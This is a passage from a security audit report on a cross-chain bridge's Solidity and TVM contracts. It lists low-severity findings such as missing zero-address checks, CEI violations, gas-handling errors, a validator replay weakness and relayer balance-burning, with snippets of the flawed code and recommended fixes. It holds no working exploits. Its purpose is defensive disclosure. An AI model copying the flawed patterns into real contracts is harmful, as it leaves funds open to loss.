./ethereum/multivault/multivault/helpers/MultiVaultHelperGas.sol : `drainGas()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperLiquidity.sol : `onlyActivatedLP()`, `_deployLPToken()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperPendingWithdrawal.sol : `pendingWithdrawalOpened()`, `_pendingWithdrawalAmountReduce()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperTokens.sol : `_initializeToken()`, `tokenNotBlacklisted()`, `wethNotBlacklisted()` ./ethereum/multivault/multivault/helpers/MultiVaultHelperWithdraw.sol : `withdrawalNotSeenBefore()`, `_processWithdrawEvent()` ./ethereum/multivault/proxy/ProxyAdmin.sol : `getProxyImplementation()`, `getProxyAdmin()` ./ethereum/multivault/utils/ReentrancyGuard.sol : `nonReentrant()` ./ethereum/utils/UnwrapNativeToken.sol : `notZeroAddress()`, `onAlienWithdrawal()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Maintainability and Debugging
Status	Mitigated in b5559c5
Resolution	The issue is mostly resolved, changes were not made in `ethereum/contracts/multivault/facets/MultiVaultFacetDeposit.sol : _deposit()`, `ethereum/contracts/multivault/helpers/MultiVaultHelperWithdraw.sol : _processWithdrawEvent()`, `ethereum/contracts/utils/GasSpray.sol : setSpenders()`

Description

In Solidity, the `require()` function is utilized to enforce constraints. If the condition in `require()` is not met, it throws an exception and reverts all changes made to the state during the transaction.

An optional string message can accompany `require()`, which provides additional context when the condition isn't satisfied.

In several contracts, this string message is missing, which can lead to ambiguity regarding the reason for transaction failure.

```
// Example of a require statement without a descriptive message.
    function setPendingWithdrawalBounty(
```

```
        uint256 id,
        uint256 bounty
    )
        public
        override
    {
        MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
        PendingWithdrawalParams memory pendingWithdrawal = _pendingWithdrawal(msg.sender, id);
        require(!s.tokens_[pendingWithdrawal.token].isNative);
        require(bounty <= pendingWithdrawal.amount);
        s.pendingWithdrawals_[msg.sender][id].bounty = bounty;
        emit PendingWithdrawalUpdateBounty(
            msg.sender,
            id,
            bounty
        );
    }
```

Impact

The absence of descriptive error messages:

- Makes debugging more challenging, especially for external developers or auditors.
- Increases the chances of misunderstanding a transaction's failure reason.
- Reduces the overall user and developer experience.

Recommendation

- For all `require()` statements, provide a descriptive error message detailing the exact condition being tested.
- Review the entire codebase to ensure that all `require()` statements follow this standard.

CEI Violation With Event Emission

Event emissions in bridge system violate the CEI pattern by occurring after external interactions.

ID	VN-074
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetPendingWithdrawals.sol : `forceWithdraw()` ./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperWithdraw.sol : `_withdraw()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	**LOW**
Vulnerability Type	CEI Violation
Status	Fixed in b5559c5

Description

In bridge systems where arbitrary tokens can be utilized, and where said tokens can employ mechanisms like the `transferAndCall` function, it is crucial to ensure the Check-Effects-Interactions (CEI) pattern is followed, even when emitting events.

Events in such systems can serve as a primary source of truth for Relayers. If the number of emitted events can be manipulated or if events are emitted post-interaction with external contracts, this might lead to potential inconsistencies.

In the `_withdraw()` function of the `MultiVaultHelperWithdraw.sol` contract the event `Withdraw` is emitted after the tokens have been transferred.

In the `forceWithdraw()` function of the `MultiVaultFacetPendingWithdrawals.sol` contract the event `PendingWithdrawalForce` is emitted post the token transfer and before the `_callbackAlienWithdrawal()` function call.

This order can potentially allow for event manipulation and violates the CEI pattern.

Impact

Not adhering to the CEI pattern during event emission can introduce inconsistencies. Relayers may rely on the emitted events as a source of truth, and manipulating the order or number of emitted events might jeopardize the integrity of the bridge system, leading to potential misinterpretations or misbehaviors by relayers.

Recommendation

- Ensure that events are emitted before any interactions with external contracts or token transfers. Adhering to the CEI pattern improves the reliability and trustworthiness of the events.
- For the mentioned functions, rearrange the event emissions such that they are emitted before any token transfers or external interactions. Ensure this principle is adhered to consistently throughout all contracts.

Incorrect `int` Type Size Used in `EverscaleAddress` Struct

There is a type size mismatch between the `EverscaleAddress` struct and the size allowed in TVM for the `workchain id`.

ID	VN-071
Paths	./ethereum/contracts/interfaces/IEverscale.sol `struct EverscaleAddress`
Commit	f739553
Impact	Low
Likelihood	Medium
Severity	LOW
Vulnerability Type	Type Inconsistency
Status	Fixed in b5559c5

Description

The struct allows the workchain id to be an arbitrary value within the `int128` type.

However, the actual allowed `workchain id` in TVM is bounded to the size of the `int8` type.

```
struct EverscaleAddress {
    int128 wid;
    uint256 addr;
}
```

Impact

An incorrect workchain id may lead to the request being incorrectly processed or unexpectedly panicking. An implicit type cast may be performed by a Relay processing the request, which may lead to further inconsistencies.

Recommendation

Change the type of the `wid` field of the structure from `int128` to `int8`.

Incorrect Gas Amount Attached to Contract Deployment

The GAS value passed during new deployments is not correctly validated in the `deployEvent()` and `deployConnector()` functions.

ID	VN-088
Paths	./everscale/contracts/bridge/event-configuration-contracts/evm/EverscaleEthereumEventConfiguration.tsol `deployEvent()` ./everscale/contracts/bridge/Bridge.tsol `deployConnector()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	Incorrect Gas Management
Status	Acknowledged

Description

According to the TVM architecture, the contract balance may fall below zero due to storage fee payments. In such a case, the call invocation will use `msg.value` to pay off the debt. It is incorrect to make assumptions about contract balance based on `msg.value` validation.

According to the TVM architecture, any computation performed during the compute phase will decrease the contract balance. Therefore, any balance checks need to validate if the contract holds enough value to execute both the action and compute phases.

```
function deployConnector(...) ... reserveAtLeastTargetBalance() {
    ...
    require(msg.value >= deployValue);
    ...
    new Contract{ value : 0, flag : MsgFlag.ALL_NOT_RESERVED }(...);
    ...
}
```

The function performs validation on `msg.value` to ensure that the contract balance is enough to perform the external call. The external call operates under the `{ value: 0, flag: 128 (ALL_NOT_RESERVED) }` configuration, which does not perform any checks on the value attached.

Impact

The contract may be deployed with insufficient balance. The initialization may fail or be performed partially.

Recommendation

There are several possible solutions:

- Update the external call configuration to `{ value: deployValue, flag: 0 }`.
- Update the check to validate that `address(this).balance` holds a sufficient amount of funds to cover all the execution phases.

Missing Events on Critical State Updates

Critical state changes in smart contracts without associated events can lead to transparency and tracking issues. Events provide an essential mechanism to log and monitor contract interactions, especially for off-chain systems.

ID	VN-009
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol : `initialize()`, `setDailyWithdrawalLimits()`, `setUndeclaredWithdrawalLimits()`, `disableWithdrawalLimits()`, `enableWithdrawalLimits()`, `setEmergencyShutdown()`, `setCustomNative()`, `setGasDonor()`, `setWeth()` ./ethereum/contracts/multivault/interfaces/multivault/IMultiVaultFacetSettingsEvents.sol : `UpdateBridge()`, `EmergencyShutdown()` ./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetTokens.sol : `setPrefix()`, `setTokenBlacklist()` ./ethereum/contracts/DAO.sol : `initialize()`, `setConfiguration()`, `setBridge()`, `execute()` ./ethereum/contracts/interfaces/IDAO.sol : `UpdateBridge()`, `UpdateConfiguration()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Lack of Transparency and Monitoring
Status	Mitigated in b5559c5
Resolution	The issue is partially resolved, changes were not made to the DAO.sol contract and the IDAO.sol interface.

Description

Events in Solidity play a crucial role in the external observability of the contract. They offer a way to signal the external world (e.g., dApps or off-chain services) of a particular action or change that occurred within the contract.

Without events associated with significant state changes, it becomes harder for external entities to track, verify, or react to those changes. This lack of visibility can lead to potential misalignments between on-chain state and off-chain systems, or even create blind spots for auditors or third-party tracking tools.

Impact

- **Lack of Transparency**: External observers (e.g., dApps, trackers) cannot easily ascertain when specific state changes occur without events.
- **Operational Challenges**: Off-chain systems, which might be reacting to contract state changes, may not be able to detect those changes, leading to discrepancies.

Recommendation

- **Add Events to State Changes**: Ensure that all significant state changes in the contract emit an event. This includes, but is not limited to, operations like fund transfers, balance updates, or role assignments.
- **Documentation**: Document all events properly, specifying the exact scenarios in which they are emitted, and the data they provide.
- **Consistent Naming**: Adopt a consistent naming convention for events to make them more intuitive and understandable.

Missing Storage Gaps

The `DAO` contract is designed to be upgradable and inherits from `Cache` and `ChainId` contracts. However, these inherited contracts do not implement gaps, which can become problematic in future upgrades, especially if new state variables are introduced.

ID	VN-014
Paths	./ethereum/contracts/utils/Cache.sol ./ethereum/contracts/utils/ChainId.sol
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	Upgradability Issues
Status	Fixed in b5559c5

Description

The `DAO` contract, marked as upgradable, inherits functionality from several other contracts including `Cache` and `ChainId`. These contracts are designed to enhance the base functionality by providing caching capabilities and retrieving the chain ID respectively.

The `Cache` contract handles payload tracking to prevent processing already seen payloads. The `ChainId` contract provides a method to retrieve the current chain ID. However, neither of these contracts have been designed with the necessary provisions (like state variable gaps) to ensure smooth upgradability in the future.

The absence of these provisions means that future upgrades that introduce new state variables could lead to unexpected behavior and potential vulnerabilities.

Impact

- Upgrading the `DAO` contract in the future, with new state variables in `Cache` or `ChainId`, could result in storage layout misalignments, causing unexpected behavior or vulnerabilities.
- Developers and auditors may assume the correctness of inherited contracts, potentially overlooking issues introduced during upgrades.

Recommendation

- **Introduce Storage Gaps**: In preparation for potential future upgrades, introduce storage gaps in Cache and ChainId contracts. This will create reserved storage slots that can be used for new state variables in upgraded versions.
- **Mark Contracts as Abstract**: Since Cache and ChainId act more like libraries or utility contracts, consider marking them as abstract. This can prevent them from being deployed as standalone contracts, signaling their intended use.

Redundant Code Patterns in `StakingRelay`, `StakingBase`, and `UserData` Contracts

Multiple instances of repetitive emergency and other checks in the `StakingRelay`, `StakingBase`, and `UserData` contracts.

ID	VN-050
Paths	./everscale/contracts/staking/base/StakingBase.tsol : `claimReward()`, `castVote()`, `castVoteWithReason()`, `tryUnlockVoteTokens()`, `tryUnlockCastedVotes()` ./everscale/contracts/staking/base/StakingPoolRelay : `linkRelayAccounts()`, `startElectionOnNewRound()`, `endElection()` ./everscale/contracts/staking/UserData.tsol : `processClaimReward()`, `processGetRewardForRelayRound2()`, `processLinkRelayAccounts()`, `processBecomeRelayNextRound2()`, `processWithdraw()`, `getRewardForRelayRound()`, `confirmTonAccount()`, `processConfirmEthAccount()`, `becomeRelayNextRound()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	Code Quality & Maintainability
Status	Acknowledged

Description

There are several patterns of repetitive code observed across the `StakingRelay`, `StakingBase`, and `UserData` contracts:

- The line `require (!base_details.emergency, ErrorCodes.EMERGENCY);` is repetitively used in the `StakingRelay` and `StakingBase` contracts.
- In the `UserData` contract, there is a repetitive pattern where:
  - The check `require (!slashed, ErrorCodes.SLASHED);` is repeated 8 times.
  - The check `require (code_version == current_version, ErrorCodes.LOW_VERSION);` is repeated 5 times.

Such repeated patterns can make contracts harder to maintain, less readable, and prone to inconsistencies.

Impact

While these redundant patterns do not present direct security vulnerabilities, their repetition:

- Challenges contract maintainability.
- Increases the risk of errors in future contract modifications or updates.

Recommendation

Implement specific modifiers in the respective contracts to check different conditions:

- For `StakingRelay` and `StakingBase`:

```
modifier notInEmergency() {
    require (!base_details.emergency, ErrorCodes.EMERGENCY);
```

```
    _;
}
```

- For `UserData`:

```
modifier notSlashed() {
    require (!slashed, ErrorCodes.SLASHED);
    _;
}
modifier validVersion() {
    require (code_version == current_version, ErrorCodes.LOW_VERSION);
    _;
}
```

Replace the repeated `require` checks in the functions of all these contracts with the newly introduced modifiers.

Transaction Replay Possibility in `constructor()`

The `constructor()` function may be susceptible to transaction replay attacks if the contract's balance is insufficient to cover an arbitrary number of calls performed within it.

ID	VN-059
Paths	./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7.tsol: `constructor()` ./everscale/contracts/staking/StakingV1_2.tsol: `constructor()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	TVM Specific
Status	Acknowledged

Description

Validators are able to replay failing external messages, which leads to contract balance griefing.

The TON-Solidity philosophy avoids an infinite data tail. Validators aren't required to store all accepted messages. The same external message can be included multiple times if the contract agrees to pay for it.

At the SDK level, a simple replay check is in place by default. It relies on a hidden static variable `uint64 timestamp` within the contract, storing the creation time of the last accepted external message. The default `AbiHeader time` expects external messages to contain a `time` field. There is a verification that the last accepted message's creation time is earlier than the new one. If it succeeds, the `timestamp` variable is updated.

However, there's a drawback. Errors in the contract occurring after `tvm.accept()`, like additional `require` statements, cause the transaction to fail. The entire contract state reverts to the start, and the `timestamp` variable isn't updated to the new value. This allows validators to include the same external message as many times as they want until the contract balance is sufficient and the message hasn't expired (if `AbiHeader expire` is specified).

It's important to note that action phase errors also lead to this issue. If the `value` in a call exceeds the contract balance, and the provided `flag` doesn't contain the `+2` modifier (ignore exceptions), the transaction fails and could be replayed.

```
constructor(...) {
    ...
    call{
        value: 0,
        flag: MsgFlag.ALL_NOT_RESERVED // 128
    }();
}
constructor(...) {
    ...
    setUpTokenWallet(); // value: 1 ever, flag: 0
}
```

The functions perform a fixed number of calls with a fixed attached value without a preliminary balance check. The `flag: 0 (or 128)` allows transaction revert in case the contract balance is insufficient to satisfy the value.

Impact

A fixed amount of funds may be lost (not more than 5 EVER).

Proof of Concept

The issue is described in detail in the article.

REMP (Reliable External Messaging Protocol) was developed to fix a list of issues related to external message processing. However, it is not implemented yet. The specification could be found in the whitepaper. Some high-level details are shared in the article.

Recommendation

Verify that the contract balance is sufficient before `tvm.accept()` or reject the message processing.

Unlimited Event Size Allows Relayer To Burn Service Contract Balance

In the `confirm()` function in the `EverscaleEthereumBaseEvent.tsol` contract an event is emitted with unlimited event size.

ID	VN-054
Paths	./everscale/contracts/bridge/event-contracts/base/evm/EverscaleEthereumBaseEvent.tsol: `confirm()`, `Confirm`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	TVM Specific
Status	Fixed in b5559c5

Description

Event creation is always paid for from the contract balance. The ability to provide arbitrary length event data allows the contract balance to be burned.

According to the TVM transaction execution process, there are computation and action phases. During the computation phase, there is a boundary of the maximum funds to spend equal to `msg.value` (if `tvm.accept`, `tvm.setGasLimit`, or `tvm.buyGas` are not called). However, the boundary is not presented in the action phase (if `tvm.rawReserve` is not called), and the actions are able to spend the whole remaining contract balance.

Event creation is processed within the action phase, and the cost depends on the parameter size processed. Passing dynamic data provided by users as a parameter makes it possible for the contract balance to be burned. If the contract balance is withdrawn or burned:

- The contract comes at risk of being frozen, which may break the normal system execution flow.
- The contract is unable to accept external messages as it has no funds to pay for them.
- Users may need to top up the contract before interaction starts.

```
function confirm(bytes signature, ...) public {
    ... // Another parameter check
    ... // Signer validation
    tvm.accept();
    votes[relay] = Vote.Confirm;
    signatures[relay] = signature;
    // The signature has a dynamic bytes type, and the length is not checked
    emit Confirm(relay, signature);
    ...
}
```

Any relayer is able to call the function. Event creation is allowed to spend an arbitrary amount of funds.

The function requires the signer to be an authorized relayer. The system provides a mechanism for bad relayers slashing. In case of slashing, the relayer lose his huge stake.

Impact

The contract may need additional top-up for processing external messages and other interactions correctly.

The issue is noted in the TON-Solidity compiler API.

The issue and possible solutions are described in the article.

Recommendation

There are several possible solutions:

- Validate that the parameter length does not exceed a specific value.
- Perform a `tvm.rawReserve()` call before the event creation with a reasonable value to reserve.

Missing Validation in `_getNativeWithdrawalToken()` Function

The function `_deployTokenForNative()` is called without validating its return value against the previously derived token address from `_getNativeToken()`.

ID	VN-075
Paths	./ethereum/contracts/multivault/multivault/helpers/MultiVaultHelperTokens.sol : `_getNativeWithdrawalToken()`
Commit	f739553
Impact	Low

Likelihood	Low
Severity	**LOW**
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

The `_getNativeWithdrawalToken()` function within the `MultiVaultHelperTokens.sol` contract is responsible for determining the native token's representative ERC20 token in the event of a withdrawal. This function takes into consideration if a token is being withdrawn for the first time and, if so, activates it by deploying an ERC20 representation of the native token.

However, there is a lack of validation between the determined token address (`token`) and the token address obtained from the `_deployTokenForNative()` function.

Impact

A discrepancy between the token address derived from `_getNativeToken()` and the one returned by `_deployTokenForNative()` may lead to unexpected behaviors and potentially compromise the integrity of withdrawals, leading to potential losses or misuse of tokens. Such discrepancies can arise due to manual errors or unforeseen conditions.

Recommendation

- Introduce a validation step right after the `_deployTokenForNative()` function call to ensure that its return value matches the token address. An example implementation might look like:

```
address deployedToken = _deployTokenForNative(withdrawal.native, withdrawal.meta);
require(deployedToken == token, "Token address mismatch between derived and deployed token addresses");
```

Missing Zero Address Validation in `StakingBase.tsol`

The `setDaoRoot()` function in `StakingBase.tsol` lacks a zero address check for `new_dao_root` and does not provide a two-step rights transfer or a renouncement mechanism, which could enhance contract security and parameter flexibility.

ID	VN-086
Paths	./everscale/contracts/staking/base/StakingBase.tsol : `setDaoRoot()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	**LOW**
Vulnerability Type	Missing Validation
Status	Fixed in b5559c5

Description

The `setDaoRoot()` function within the `StakingBase.tsol` contract is responsible for updating the `dao_root`.

The function does not contain a validation to prevent the zero address from being set as the `new_dao_root`. Additionally, it lacks mechanisms like a two-step process for updates or a function to renounce the `dao_root` which can enhance the contract's security and operational flexibility.

```
function setDaoRoot(address new_dao_root, address send_gas_to) external onlyDaoRoot {
    require (msg.value >= Gas.MIN_CALL_MSG_VALUE, ErrorCodes.VALUE_TOO_LOW);
    tvm.rawReserve(_reserve(), 0);
    emit DaoRootUpdated(new_dao_root);
    base_details.dao_root = new_dao_root;
    send_gas_to.transfer({ value: 0, bounce: false, flag: MsgFlag.ALL_NOT_RESERVED });
}
```

Impact

Allowing the `dao_root` to be set to the zero address can lead to a loss of administrative control over the staking functionality. Without proper validation, an accidental or malicious call to `setDaoRoot()` could render certain functionalities inoperable.

Additionally, without mechanisms like a two-step process, immediate changes to crucial contract parameters can introduce risks, especially in scenarios where confirmation or a waiting period might be appropriate.

The absence of a renouncement function also means there is no way to deliberately relinquish control, which might be desired in certain decentralized models or for increased security.

Recommendation

1. Implement a check to prevent the `new_dao_root` from being set to the zero address.
2. Consider introducing a two-step process for updating critical parameters, where a change is proposed and then confirmed after a certain period.
3. Provide a function to allow renouncement of the `dao_root` to enhance flexibility and cater to scenarios where relinquishing control is desired.

Missing `cashBack` Modifier in Various Functions

Certain functions within the provided contracts are missing the `cashBack` modifier, which could lead to unexpected behavior with regard to the handling of the remaining funds.

ID	VN-082
Paths	./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol : `addToken()` ./everscale/contracts/bridge/event-configuration-contracts/evm/EthereumEverscaleEventConfiguration.tsol : `setEndBlockNumber()` ./everscale/contracts/bridge/event-configuration-contracts/evm/EverscaleEthereumEventConfiguration.tsol : `setEndTimestamp()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Incorrect Gas Management
Status	Fixed in b5559c5

Description

The `cashBack` modifier is designed to return any leftover Gas to the caller. Without this modifier, the Gas (or `msg.value`) remains in the contract, potentially leading to unintended behavior. In the provided contracts:

- In the `MergePool_V4.tsol`, `addToken()` function lacks the `cashBack` modifier:

```
function addToken(
    address token
) external override onlyOwnerOrManager {
    ...
}
```

- In the `EthereumEverscaleEventConfiguration.tsol`, `setEndBlockNumber()` function do not utilize the `cashBack` modifier:

```
function setEndBlockNumber(uint32 endBlockNumber) override onlyOwner external {
    ...
}
```

- In the `EverscaleEthereumEventConfiguration.tsol`, `setEndTimestamp()` function do not utilize the `cashBack` modifier:

```
function setEndTimestamp(uint32 endTimestamp) override public onlyOwner {
    ...
}
```

Impact

Without returning the leftover Gas to the caller, users might experience unexpected losses when interacting with these functions, as the unspent funds will stay within the contract.

Recommendation

- Implement the `cashBack` modifier in the above-highlighted functions to ensure that any unspent funds are returned to the caller.
- If there is a valid reason for retaining the `msg.value` within the contract, it should be explicitly documented to inform developers and users about this behavior.

Missing Revert Error Codes in `require()` Statements

Throughout multiple `.tsol` contracts, several `require()` statements are missing explicit error codes, which could lead to ambiguous revert reasons when they fail.

ID	VN-093
Paths	./everscale/contracts/staking/base/StakingBase.tsol: `onAcceptTokensTransfer()` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventNative.tsol: `receiveConfigurationDetails()`, `receiveProxyTokenWallet()`, `receiveTokenName()`, `receiveTokenSymbol()`, `receiveTokenDecimals()` ./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol : `onCodeUpgrade()` ./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEverscaleEVMEventAlien.tsol : `receiveTokenMeta()`, `receiveAlienTokenRoot()`, `receiveTokenName()`, `receiveMergeRouter()`, `receiveMergeRouterPool()`, `receiveMergePoolCanon()` ./everscale/contracts/bridge/hidden-bridge/Mediator.tsol : `onAcceptTokensTransfer()`
Commit	f739553
Impact	Low

Likehood	Low
Severity	**LOW**
Vulnerability Type	Maintainability and Debugging
Status	Fixed in b5559c5

Description

The explicit inclusion of error codes within `require()` statements can aid developers and users in quickly diagnosing the cause of a transaction's failure. This is especially crucial in more complex systems where numerous conditions could cause a transaction to revert.

The following functions within their respective contracts have `require()` statements that are missing these explicit error codes:

- StakingBase.tsol
  - `onAcceptTokensTransfer()`
- MultiVaultEVMEverscaleEventNative.tsol
  - `receiveConfigurationDetails()`
  - `receiveProxyTokenWallet()`
  - `receiveTokenName()`
  - `receiveTokenSymbol()`
  - `receiveTokenDecimals()`
- MergePool_V4.tsol
  - `onCodeUpgrade()` (3 instances)
- MultiVaultEverscaleEVMEventAlien.tsol
  - `receiveTokenMeta()`
  - `receiveAlienTokenRoot()`
  - `receiveTokenName()`
  - `receiveMergeRouter()`
  - `receiveMergeRouterPool()`
  - `receiveMergePoolCanon()`
- Mediator.tsol
  - `onAcceptTokensTransfer()`

Impact

Without explicit error codes, debugging and troubleshooting issues become more difficult, leading to more extended downtimes and increasing the likelihood of undetected issues persisting in the system. Users interacting with the contract will also face challenges as they won't have clear feedback on why their transactions are failing.

Recommendation

For all the mentioned functions and their respective contracts, amend the `require()` statements to include explicit error codes. These codes should be descriptive enough to help in identifying the exact failure point.

Missing Zero Address Check

The `initialize()` function in the `MultiVaultFacetSettings` contract is missing essential checks for zero addresses when setting the values of the `bridge`, `governance`, and `weth` parameters. It is crucial to add these checks to ensure that the contract does not accept zero addresses for these critical parameters.

ID	VN-067
Paths	./ethereum/contracts/multivault/multivault/facets/MultiVaultFacetSettings.sol: `initialize()`
Commit	f739553
Impact	Medium
Likelihood	Low
Severity	LOW
Vulnerability Type	Input Validation
Status	Fixed in b5559c5

Description

The `initialize()` function in the `MultiVaultFacetSettings` contract is used to set the values of the `bridge`, `governance`, and `weth` parameters. However, the function lacks input validation to check whether these addresses are valid and non-zero.

Here is the current implementation of the `initialize()` function:

```
function initialize(
        address _bridge,
        address _governance,
        address _weth
    ) external override initializer {
        MultiVaultStorage.Storage storage s = MultiVaultStorage._storage();
        s.bridge = _bridge;
        s.governance = _governance;
        s.weth = _weth;
    }
```

The issue here is that it does not verify whether `_bridge`, `_governance`, and `_weth` are non-zero addresses, which could potentially lead to unintended consequences.

Impact

- **Security Risk**: Allowing zero addresses for critical parameters can pose a security risk, as it may lead to unexpected behaviors or vulnerabilities within the contract.
- **Operational Risks**: The absence of zero address checks can lead to operational risks, such as misconfiguration, when deploying or updating the contract.
- **User Experience**: Zero address checks improve the user experience by preventing users from inadvertently setting these important addresses to zero, which could result in fund losses.

Recommendation

To address this issue, zero address checks should be added for all of the parameters in the function.

```
function initialize(
    address _bridge,
```

```
    address _governance,
    address _weth
) external override initializer {
    require(_bridge != address(0), "Bridge address cannot be zero");
    require(_governance != address(0), "Governance address cannot be zero");
    require(_weth != address(0), "WETH address cannot be zero");
```

Missing Zero Address Checks in `Bridge.tsol`

Missing validation for provided address.

ID	VN-081
Paths	./everscale/contracts/bridge/Bridge.tsol : `constructor()`, `setManager()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Input Validation
Status	Fixed in b5559c5

Description

In the `Bridge.tsol` contract, the assignment of the owner or manager address, in the `constructor()` and the `setManager()` function, does not validate that the provided address is not a zero address.

- In the `constructor()`:

```
constructor(address _owner, address _manager, TvmCell _connectorCode, uint64 _connectorDeployValue, address _staking
    ...
    setOwnership(_owner);
    manager = _manager;
    ...
}
```

- In the `setManager()` function:

```
function setManager(address _manager) external override cashBack {
  ...
  manager = _manager;
}
```

Impact

Assigning a zero address as the manager could lead to unintentional behaviors and vulnerabilities, especially if subsequent functionalities rely on the manager address for privileged operations. It can also indicate an unintentional configuration mistake, which can be hard to correct if not caught early.

Recommendation

- Before assigning the owner or manager address, ensure you validate that it is not a zero address.

- Implement this check both in the `constructor()` and the `setManager()` function to ensure the integrity of the owner or manager address throughout the contract's lifecycle.

By validating the input addresses, you can prevent potential misconfigurations and enhance the security of the contract.

Potential Underflow in `_deposit()` Function

There is an issue in the `_deposit()` function where `amountLeft` can result in an underflow while processing `pendingWithdrawal.amount`.

ID	VN-011
Paths	./ethereum/multivault/multivault/facets/MultiVaultFacetDeposit.sol : `_deposit()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Arithmetic Underflow
Status	Fixed in b5559c5

Description

Within the `_deposit()` function, there's a line where `amountLeft` is decremented by the `pendingWithdrawal.amount`:

```
    amountLeft -= pendingWithdrawal.amount;
```

In scenarios where `amountLeft` is less than `pendingWithdrawal.amount`, an underflow can occur.

While Solidity version 0.8.0 and onwards have built-in overflow and underflow checks which would revert such transactions, it's still vital for the contract logic to account for this to provide meaningful error messages.

Impact

If an underflow occurs, the transaction will fail. Users might experience failed transactions without clear indication or understanding of the reason.

Recommendation

Introduce a verification check before the decrement operation to ensure `amountLeft` is greater than or equal to `pendingWithdrawal.amount`:

```
    require(amountLeft >= pendingWithdrawal.amount, "Deposit amount insufficient to cover pending withdrawals");
```

While redundant in terms of security with Solidity 0.8.0 (automatic reverts on underflows), this enhances clarity and aids in debugging.

Incorrect Remaining Gas Receiver Of `TokenRootAlienEVM` Deployment Funded By Contract Itself

Incorrect Gas management in the `onBounce()` function.

ID	VN-090
Paths	./everscale/contracts/bridge/event-contracts/multivault/evm/MultiVaultEVMEverscaleEventAlien.tsol `onBounce()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Incorrect Gas Management
Status	Fixed in b5559c5

Description

In the case where a contract initiates an action paid for by the contract itself, to keep the funds flow consistent, the remaining funds should be returned to the contract.

```
onBounce(...) ... {
    ...
    EventData eventData = getEventData();
    if (selector == tvm.functionId(TIP3TokenRoot.name) && msg.sender == transitionalData.token) {
        IProxyMultiVaultAlien_V6(transitionalData.proxy).deployEVMAlienToken{ value: 2 ever, bounce: false }(
            ...,
            eventData.recipient // remainingGasTo
        );
        ...
    }
    ...
}
```

The `onBounce()` function allows deployment of the `TokenRootAlienEVM` contract if it is not deployed yet.

The `remainingGasTo` deployment parameter is assigned to `eventData.recipient`, who did not actually pay for the deployment. Remaining Gas should be returned to Event contract itself to be later returned to Event proper recipient.

Impact

In rare cases when the token root is not deployed yet, a user can withdraw some funds from the event contract.

Recommendation

Update the code to make the remaining funds receiver the actual payer.

Documentation Mismatch Regarding Native vs. Alien Tokens in `ProxyMultiVaultNative_V5_Deposit.tsol`

The issue arises from the comments which mention `alien` tokens and `deployAlienToken()` in a contract that is supposed to work with `native` tokens.

ID	VN-080
Paths	./everscale/contracts/bridge/proxy/multivault/native/V5/ProxyMultiVaultNative_V5_Deposit.tsol : `onEventConfirmedExtended()`, `onSolanaEventConfirmedExtended()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Inconsistent Documentation & Logic
Status	Fixed in b5559c5

Description

In the `ProxyMultiVaultNative_V5_Deposit.tsol` contract, there are comment annotations that incorrectly suggest the contract handles `alien` tokens when it is, in fact, intended to work with `native` tokens.

- `onEventConfirmedExtended()` function:

```
/// @notice Handles alien token transfer from EVM. Token address is derived automatically and MUST
/// be deployed before. See note on `deployAlienToken`
function onEventConfirmedExtended(IEthereumEverscaleEvent.EthereumEverscaleEventInitData eventInitData, TvmCell meta
```

- `onSolanaEventConfirmedExtended` function:

```
/// @notice Handles alien token transfer from Solana. Token address is derived automatically and MUST
/// be deployed before. See note on `deployAlienToken`
function onSolanaEventConfirmedExtended(ISolanaEverscaleEvent.SolanaEverscaleEventInitData, TvmCell meta, address re
```

Impact

Inconsistent or incorrect documentation can lead to misunderstandings and misinterpretations about the contract's actual functionality.

Recommendation

Update the comments for the affected functions in the `ProxyMultiVaultNative_V5_Deposit.tsol` contract to accurately represent the intended behavior with `native` tokens.

Documentation Mismatch Regarding Function Access in Multiple Functions

Several functions in the provided contracts have documentation that inaccurately states the access permissions. The `@notice` comments specify that certain functions can only be called by owner, but the actual implementation allows both owner and manager to call these functions.

ID	VN-079
Paths	./everscale/contracts/bridge/alien-token-merge/merge-pool/MergePool_V4.tsol : `removeToken()`, `addToken()`, `setCanon()`, `enableToken()`, `disableToken()` ./everscale/contracts/bridge/proxy/multivault/alien/V7/ProxyMultiVaultAlien_V7_MergePool.tsol : `deployMergePool()`
Commit	f739553
Impact	Low
Likelihood	Low
Severity	LOW
Vulnerability Type	Inconsistent Documentation & Logic
Status	Fixed in b5559c5

Description

In the contracts `MergePool_V4.tsol` and `ProxyMultiVaultAlien_V7_MergePool.tsol` there are multiple instances where the function documentation does not match the actual code behavior regarding access permissions:

- `removeToken()` function in `MergePool_V4.tsol`:

```
/// Can be called only by `owner`
function removeToken(address token) external override onlyOwnerOrManager ... { ... }
```

- `addToken()` function in `MergePool_V4.tsol`:

```
/// Can be called only by `owner`
